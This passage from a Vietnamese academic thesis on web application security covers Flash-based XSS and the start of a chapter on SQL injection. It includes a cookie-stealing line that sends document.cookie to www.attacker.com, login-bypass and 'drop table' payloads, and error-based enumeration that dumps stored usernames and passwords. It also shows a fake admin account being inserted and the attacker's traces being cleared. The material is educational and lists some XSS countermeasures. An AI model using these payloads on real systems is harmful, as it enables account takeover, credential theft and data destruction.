TẤN CÔNG XSS BẰNG FLASH

Một phần của tài liệu Nghiên cứu một số vấn đề về bảo mật ứng dụng web (Trang 54)

Ngoài những cách đưa mộtđoạn mã nguy hiểm thì hacker còn có thể lợi dụng những

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đãđược xây dụng

sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như

JavaScript, C hay PERL. Ví dụhàm getURL() dùng để gọi một trang web khác, tham

số thường là một URL chẳng hạn như “http://www.yahoo.com”.

Ví dụ5.IV-1:

getURL(“http://www.yahoo.com”)

Tuy nhiên có thể thay thế URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa

tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn

JavaScript vàoứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách

tấn công này là:

Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flashđượcđọc:

getURL(“javascript:location(‘http://www.attacker.com?newcookie=’+do cument.cookie)”)

Như vậy là khi người dùng xem trang web chứa tập tin flash này thì ngay lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

Hình 5.IV-2: Cách viết Action Scipt trong Flash

Ví dụ5.IV-2:

DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của các

thành viên và cũng có thể là tài khoản của người quản trị web, bằng cáchđăng kí làm

thành viên củaứng dụng Web này, gửi tập tin flash lên máy chủvà đợi các nạn nhân

xem tập tin flash đó. Dưới đây là địa chỉ liên kết dến một tập tin flash như đã trình

bày trong ví dụ5.IV-2:

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML như diễn đàn,

các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công này,

bằng cách nhậpđoạn mã gọi tập tin flash vào.

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/s wflash.cab#version=6,0,0,0"

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

HEIGHT="48" id="1" ALIGN="">

<PARAM NAME=movie VALUE="http://www.ke_tan_cong.com/vidu.swf"> <PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

<EMBED src=" http://www.ke_tan_cong.com/vidu.swf" quality=high bgcolor=#FF9900 WIDTH="60" HEIGHT="48" NAME="1" ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer"> </EMBED> </OBJECT> V. CÁCH PHÒNG CHỐNG

• Với những dữ liệu, thông tin nhập của người dùng, người thiết kế ứng dụng Web

cần phải thực hiện vài bước cơ bản sau:

o Tạo ra danh sách những thẻ HTML được phép sử dụng.

o Xóa bỏ thẻ <script>

o Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related

nào.

o Lọc dấu nháy đơn hay kép

o Lọc kí tự Null ( vì khả năng thêm một đoạn mã bất kì sau kí tự Null khiến cho

ứng dụng dù đã lọc bỏ thẻ <script> vẫn không nhận ra do ứng dụng nghĩ rằng chuỗi đã kết thúc từ kí tự Null này).

Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)

o Xóa những kí tự “ > ”, “ < ”

o Vẫn cho phép nhập những kí tự đặc biệt nhưng sẽ được mã hóa theo chuẩn

riêng.

• Đối với người dùng, cần cấu hình lại trình duyệt để nhắc nhở người dùng có cho

thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy

mà người dùng sẽ quyết định.

Nhận xét:

Kĩ thuật XSS khá phổbiến và dễ dàng áp dụng, tuy nhiên mứcđộthiệt hại chỉ dừng

lại ở mứcđộ tấn công trên máy nạn nhân thông qua những liên kết hay form lừađảo

mà hackerđưađến cho nạn nhân. Vì thế, ngoài việcứng dụng kiểm tra tínhđúngđắn

của dữliệu trước khi sửdụng thì việc cần nhất là người dùng nên cảnh giác trước khi

bước vào một trang Web mới. Có thể nói, nhờ vào sự cảnh giác của người dùng thì

90% đã đạt được sự bảo mật trong kĩ thuật này. Tuy nhiên, trong chương 6, sự tấn

công lại nhắm vào máy chủ, nhằm thu thập thông tin trong cơ sở dữ liệu và từ đó

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Chương 6

CHÈN CÂU TRUY VN SQL

Nội dung:

I. Khái niệm SQL Injection

II. Giới thiệu mô hình cơ sở dữ liệu.

III. Các cách tấn công.IV. Cách phòng chống . IV. Cách phòng chống .

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

CHƯƠNG 6:

CHÈN CÂU TRUY VN SQL (SQL INJECTION)

DE

I. KHÁI NIỆM SQL INJECTION

SQL Injection là cách lợi dụng những lỗ hổng trong quá trình lập trình Web về phần

truy xuất cơ sở dữ liệu. Đây không chỉ là khuyết điểm của riêng SQL Server mà nó

còn là vấn đề chung cho toàn bộ các cơ sở dữ liệu khác như Oracle, MS Access hay

IBM DB2.

Khi hacker gửi những dữ liệu (thông qua các form), ứng dụng Web sẽ thực hiện và

trả về cho trình duyệt kết quả câu truy vấn hay những thông báo lỗi có liên quan đến

cơ sở dữ liệu. Và nhờ những thông tin này mà hacker biết được nội dung cơ sở dữ

liệu và từ đó có thể điều khiển toàn bộ hệ thốngứng dụng.

II. GIỚI THIỆU MÔ HÌNH CƠ SỞ DỮ LIỆU

Để trình bày tốt hơn nội dung kĩ thuật này, luận văn sử dụng bảng User để minh họa kĩ thuật tấn công.

Bng User:

STT Tên trường Cài đặt vật Kiểu trường Kích thước Diễn giải

1 tkUsername Khóa chính Text 50 Mỗi người dùng có 1 account đểđăng nhập.

2 tkPassword Text 50 Password để đăng

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Quy ước:

Ngôn ngữ lập trình sử dụng để minh họa trong chương này là ASP với cơ sở dữ liệu là SQL Server.

III. CÁC CÁCH TẤN CÔNG

III.1. Kĩ thut tn công SQL Injection

Dưới đây là kĩ thuật SQL injection đơn giản nhất, dùng để vượt qua các form

đăng nhập.

Ví dụ6.III.1-1: giả sử ứng dụng web có đoạn mã sau:

SQLQuery= “SELECT tkUsername FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”

flag= GetQueryResult (SQLQuery) if flag = “” then

check=FALSE else

check=TRUE end if

Đoạn mã trên kiểm tra chuỗi nhập Username và Password. Nếu tồn tại trong bảng User thì check=true ngược lại check=false.

Giá tri nhập vào là:

Username: ’ OR ‘’=’

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’ OR ‘’=’‘ AND Password= ‘’ OR ‘’=’’

Câu lệnh so sánh trên luôn luôn đúng (vì ‘’ luôn bằng ‘’). Do đó câu điều kiện

trong mệnh đề WHERE luôn đúng. Giá trị tên người sử dụng của dòng đầu tiên

trong bảng sẽ được chọn.

Kết hợp với kí tựđặc biệt của SQL :

• kí tự “ ; ” : đánh dấu kết thúc 1 câu truy vấn

• kí tự “--” :ẩn chuỗi kí tự phía sau nó trên cùng 1 dòng

Ví dụ6.III.1-2:

Username: ’; drop table User--

Password:

Câu lệnh SQL lúc này như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘’;drop table User-- AND Password= ‘” & tkPassword & “’”

Với câu lệnh trên thì bảng User sẽ bị xóa hoàn toàn.

Ví dụ6.III.1-3: Một ví dụ khác sử dụng kí tự đặc biệt SQL để thâm nhập vào hệ

thống như sau:

Username: admin’--

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Câu lệnh SQL như sau:

SELECT tkUsername FROM User WHERE tkUsername= ‘admin’-- AND Password= ‘” & tkPassword & “’”

Câu lệnh trên cho phép đăng nhập vào hệ thống với quyền admin mà không đòi hỏi password.

III.2. Tn công dưa vào câu lnh SELECT

Ngoài kĩ thuật đơn giản trên, việc tấn công thường dựa trên những thông báo lỗi

để lấy thông tin về bảng cũng như những trường trong bảng. Để làm được điều này, cần phải hiểu những thông báo lỗi và từ đó chỉnh sửa nội dung nhập cho phù hợp.

Khái niệm Direct Injection:

Những đối số được thêm vào trong câu lệnh mà không nằm giữa những dấu nhấy đơn hay dấu ngoặc kép là trường hợp direct injection. Ví dụIII.2.1

Ví dụ6.III.2-1:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=”& tName

Khái niệm Quote Injection:

Những trường hợp đối số được nhập vào đều được ứng dụng cho vào giữa hai dấu

nháy đơn hay ngoặc kép là trường hợp Quote Injection. Ví dụIII.2.2

Ví dụ6.III.2-2:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’”& tName & “’”

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Để vô hiệu hoá dấu nháy và thay đổi câu lệnh mà vẫn giữ được cú pháp đúng, chuỗi mã chèn thêm vào phải có một dấu nháy đơn trước chuỗi kí tự được chèn

vào vàở cuối câu lệnh phải có một dấu nháy đơn, chẳng hạn như sau:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername=’’ and ‘’=’’”

Nếu đã thực hiện như trên mà thông báo lỗi có liên quan đến dấu “(“ thì trong chuỗi chèn vào phải có “)”:

Ví dụ6.III.2-3: Giả sử:

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’”& tName & “’”)

Thì cú pháp hợp lệ như sau:

StrSQL=“SELECT tkUsername FROM User WHERE (tkUsername=’’)or ‘’=’’”

Ngoài ra kí tự % thường được dùng trong những trường hợp tìm kiếm thông

tin.

Ví dụ6.III.2-4:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’”

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

III.3. Tn công da vào câu lnh HAVING

HAVING sử dụng cùng chung với mệnh đề GROUP BY là phương pháp hữu

hiệu để nhận thông tin bảng, trường… và sẽ được bàn sâu hơn trong phần 4.

III.4. Tn công da vào câu lnh kết hp UNION

Lệnh SELECT được dùng để lấy thông tin từ cơ sở dữ liệu. Thông thường vị trí có thể được chèn thêm vào một mệnh đề SELECT là sau WHERE. Để có thể trả

về nhiều dòng thông tin trong bảng, thay đổi điều kiện trong mệnh đề WHERE

bằng cách chèn thêm UNION SELECT.

Ví dụ6.III.4-1:

StrSQL=“SELECT tkUsername FROM User WHERE tkUsername like ‘% “ & tName & “’UNION SELECT tkPassword from User”

Câu lệnh trên trả về một tập kết quả là sự kết hợp giữa tkUsername với tkPassword trong bảng User.

Ghi chú:

• Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột

trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng kiểu.

Nhờ vào lỗi cú pháp trả về sau khi chèn thêm câu lệnh UNION mà có thể biết kiểu của mỗi trường.

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Sau đây là những ví dụ được thực hiện khi không biết nội dung cơ sở dữ liệu dựa vào HAVING, GROUP BY, UNION:

Ví dụ6.III.4-2: Nhắc lại câu truy vấn cần để đăng nhập:

SQLQuery= “SELECT tkUsername,tkPassword FROM User WHERE tkUsername= ‘” & strUsername & “’ AND Password= ‘” & tkPassword & “’”

Đầu tiên, để biết tên bảng và tên trường mà câu truy vấn sử dụng, sử dụng câu điều kiện “having” , như ví dụ sau:

Giá trịnhập vào:

Username: ’having 1=1--

Lỗi phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]Column

'User.tkUsername' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Nhờ vào lỗi phát sinh này mà biết được bảng sử dụng trong câu truy vấn là User và trong bảng tồn tại một trường tên là tkUsername.

Sauđó sử dụng GROUP BY:

Ví dụ6.III.4-3:

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Lỗi phát sinh:

[Microsoft][ODBC SQL Server Driver][SQL Server]

Column'User.tkPassword'is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

Như vậy tkPassword là một trường của bảng User và được sử dụng trong câu truy vấn.

Tiếp tục dùng GROUP BY cho đến khi biết được tất cả các trường trong bảng

User tham gia vào câu truy vấn.

Khi không còn báo lỗi cú pháp GROUP BY nữa thì chuyển qua công đoạn kiểm tra kiểu của từng trường trong bảng. Lúc này UNION được sử dụng:

Ví dụ6.III.4-4:

Username:’union select sum(tkUsername) from User

Lệnh sum là lệnh tính tổng cho đối số bên trong dấu ngoặc. Đối sốphải là kiểu số.

Nếu đối số không là kiểu số thì phát sinh lỗi như sau:

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

Như vậy với thông điệp lỗi như trên thì tkUsername chắc chắn phải là kiểu “varchar”.

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Với phương pháp trên, dễ dàng xác định được kiểu của từng trường trong bảng.

Sau khi đã nhận đầy đủ trông tin trên thì hacker dễ dàng tự thêm thông tin vào

bảng User.

Ví dụ6.III.4-5:

Username:’; insert into User(tkUsername,tkPassword) values (‘admin’, ‘’)--

Hacker thêm nội dung nhưVí dụ6.III.4.2.4 bây giờ trở thành người quản trị mạng

mà không cần mật khẩuđể chứng thực.

Ví dụ 6.III.4-6: minh hoạ một công đoạn sẽ giúp hacker đọc hết thông tin trong

bảng User:

• Bước 1: Tạo một Stored procedure để chép vào tất cả thông tin của 2 trường

tkUsername và tkPassword trong bảng User thành một chuỗi vào một bảng

mới là foo có một trường là ret bằngđoạn mã sau:

create proc test as

begin

declare @ret varchar(8000) set @ret=':'

select @ret=@ret+' '+tkUsername+'/'+tkPassword from User select @ret as ret into foo

end

Thực thi câu lệnh bằng cách nhập vào form.

Username:’;Create proc test as begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+'

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

'+tkUsername+'/'+tkPassword from User select @ret as ret into foo

• Bước 2: Gọi Stored proceduređó

Sau khi đã tạo được stored procedure như trên, thực hiện lời gọi hàm:

Username:’;exec test

• Bước 3: Dùng UNIONđểxem nội dung bảng foo

Username:’;select ret,1 from foo union select 1,1 from foo

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error

'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error convertingthe varchar value ': admin/passofAdmin nhimmap/passofnhimmap minhthu/passofminhthu'

to a column of data type int.

Qua một số công đoạn, hacker đã thu được nội dung của bảng User gồm có tên

tkUsername và mật khẩu tkPassword.

• Bước 4: Ngoài ra hacker còn có thể cẩn thận xoá bảng foođểxoá dấu vết:

Username: ‘; drop table foo--

Ví dụ 6.III.4-7: Còn đây là một cách khác để xác định nội dung của bảng User,

còn một phương pháp tìm kiếm thông tin như sau:

• Bước 1:

Tìm tuần tự từng dòng trên bảng User

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

hoặc :

Username:’union select min(tkUsername),1 from User where tkUsername> ’a’--

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type

int.

Người đầu tiên trong bảng User là “admin”.

• Bước 2:

Để biết các giá trị tiếp theo, nhập chuỗi sau:

Username:’;select min(tkUsername),1 from User where tkUsername> ’admin’union select 1,1 from User

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'nhimmap' to a column of data type int.

• Bước 3:

Thực hiện như bước 2 cho ra kết quả là từng dòng với trường tkUsername trong bảng User.

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

• Bước 4:

Để biết thêm về tkPasswork, có thể thực hiện như sau:

Username:’;select tkPassword,1 from User where tkUsername= ’admin’union select 1,1 from User

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting

the varchar value 'passOfAdmin' to a column of data type int.

Để biết thông tin về các bảng, cột trong cơ sở dữ liệu, có thể truy vấn bảng đến

bảng hệthống INFORMATION_SCHEMA.TABLES.

Ví dụ6.III.4-8:

select TABLE_NAME from INFORMATION_SCHEMA.TABLES

INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên

server. Trường TABLE_NAME chứa tên của mỗi table trong cơsởdữliệu.

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='User'

Câu lệnh trên được sử dụng để biết thông tin về cột trong bảng.

Chương 6: Chèn câu truy vấn SQL (SQL Injection)

Ví dụ6.III.4-9:Để biết ứng dụng đang chạy trên Server nào, có thể xác định bằng

cách sau:

Username:’;select @@SERVERNAME union select 1

Lỗi phát sinh:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'KHOAI_NGU' to a column of data type int.

III.5. Tn công dưa vào lnh INSERT

Từ khoá INSERT dùng để đưa thông tin vào cơ sở dữ liệu. Thông thường câu

lệnh INSERT được dùng trong các trường hợp như: thông tin đăng kí người sử

Một phần của tài liệu Nghiên cứu một số vấn đề về bảo mật ứng dụng web (Trang 54)

Tải bản đầy đủ (PDF)

(169 trang)